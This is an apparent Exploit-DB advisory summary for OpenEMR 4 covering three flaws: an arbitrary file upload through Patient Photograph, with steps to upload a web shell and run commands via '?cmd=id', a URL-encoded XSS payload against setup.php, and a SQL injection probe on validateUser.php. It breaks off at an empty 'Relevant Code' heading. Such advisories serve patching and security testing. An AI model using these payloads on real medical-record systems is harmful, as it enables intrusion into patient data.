关键信息 E-DB ID: 18274 CVE: - 2012-2115 - 2011-5161 - 2011-5160 Author: LEVEL Type: WEBAPPS Platform: PHP Date: 2011-12-25 Vulnerable App: OpenEMR 4 漏洞概述 漏洞1: Patient Photograph Arbitrary File Upload Summary: Patient Photograph Arbitrary File Upload Steps to Exploit: 1. Login with valid User/Pass 2. Patient/Client -> Search/New Patient (search for anything) 3. Click Documents -> Patient Photograph 4. Upload Shell Example URL: - http://www.example.com/openemr/sites/SITENAME/documents/PATIENTID/shell.php.jpg?cmd=id - http://www.example.com/oe/sites/default/documents/1/shell.php.jpg?cmd=id 漏洞2: XSS Summary: XSS Example URL: - http://www.target.com/oe/setup.php?site=%27;alert%28String.fromCharCode%2888,83,83%29%29;//%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E%22%3E%27%27%27%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E 漏洞3: validateUser.php SQL Injection Summary: validateUser.php SQL Injection Example URL: - http://www.target.com/oe/interface/login/validateUser.php?u=test' Relevant Code: